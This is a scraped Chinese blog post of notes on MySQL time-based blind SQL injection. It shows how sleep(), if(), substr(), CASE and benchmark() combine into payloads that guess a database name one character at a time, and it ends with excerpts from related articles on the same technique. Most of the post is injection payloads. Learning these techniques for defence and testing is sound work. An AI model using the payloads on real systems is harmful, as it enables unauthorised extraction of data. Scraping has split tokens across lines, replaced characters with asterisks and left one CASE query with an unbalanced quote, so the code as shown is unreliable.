自己整理MySQL盲注

2021-10-09 06:21:56 字數 2434 閱讀 3746

函式 sleep( 數字)

函式使用說明:延遲函式,為真時會延時執行**,為假則不會執行延時。(數字為整數,例:1就是延遲一秒執行。)

例如:

select

*from 表名 where id=

1and sleep(

2);

有這個id=1的內容延遲2秒執行,沒有則相反。

if(expr1, expr2, expr3)

如果if(1>2, 真, 假)是true,那它的返回值就是真,如果執行條件是false,執行的條件就是假,具體情況視其所在語句而定。

例如:

select

*from

table

where id=

1andif(

database()

=' '

,sleep(4)

,null);

select

*from

user

where username=

'a'and

if(username=

'admin'

,sleep(2)

,null

);

(1)判斷資料庫是否為空

(2)判斷資料庫使用者名稱是否為admin。

substring()和substr()

substring(str,pos)、substring(str from pos)、substring(str,pos,len)、substring(str from pos for len)

substr(string,start,length)

引數描述同mid()函式,第乙個引數為要處理的字串,start為開始位置,length為擷取的長度。

substring_index()

substring_index(str,delim,count)

說明: substring_ index(被擷取字段,關鍵字,關鍵字出現的次數)

例如:

select

*from

user

where username=

'a'or

if(substr(

(select username from

user

where id=1)

,1,1

)='a',sleep(2)

,0);

sql case表示式是一種通用的條件表示式,類似於其它語言中的if/else語句。

case

when condition then result

[when..

.][else result]

end

例如:

select

case

when username=

"admin then 'admin' else '***' end from user;

select case when username="admin then

'aaa'

else

(sleep(3)

)end

from

user

;

能夠擷取字串,同時能觸發延時即可!

select

*from

table

where id =

1and(if

(substr(

database()

,1,1

)='u', sleep(3)

,null))

;select

*from

table

where id=

1and(if

(ascii(substr(

database()

,1,1

))=100

, sleep(3)

,null))

;

除了sleep之外的時間延時注入,還有:benchmark(count,expr)

benchmark()函式重複 count次執行表示式expr。它可以被用於計算 mysql處理表示式的速度。結果值通常為0。

select benchmark(

100000000

,sha(1)

);select

*from

table

where id=

1and(if

(ascii(substr(

database()

,1,1

))=100

,benchmark(

100000000

,sha(1)

),null))

;

mysql 時間盲注 MySQL手注之時間盲注

時間盲注 延遲 沒有任何回顯點 在頁面中輸入任何內容都會返回同乙個頁面內容的 就可以嘗試使用延遲盲注。時間盲注常用的函式 if函式 if condition,a,b 含義 如果condition 成立,執行a,則b substr函式 含義 擷取字串。subster string,start,leng...

SQL盲注 時間盲注,dnslog盲注

時間盲注原理 id get id sql select from users where id id limit 0,1 result mysql query sql row mysql fetch array result if row else 存在sql注入漏洞 然而頁面不會回顯資料,也不會回...

Mysql時間盲注

if 函式 if 1,2,3 如果條件1為真,執行結果語句2 如果條件1為假,執行結果語句3 sleep 函式 sleep以秒來算的 length 函式 測量字串的長度 substr 函式 substr s,a,b a為對s擷取的位置,b為對s擷取的長度 ascii 函式 ascii a 返回a的a...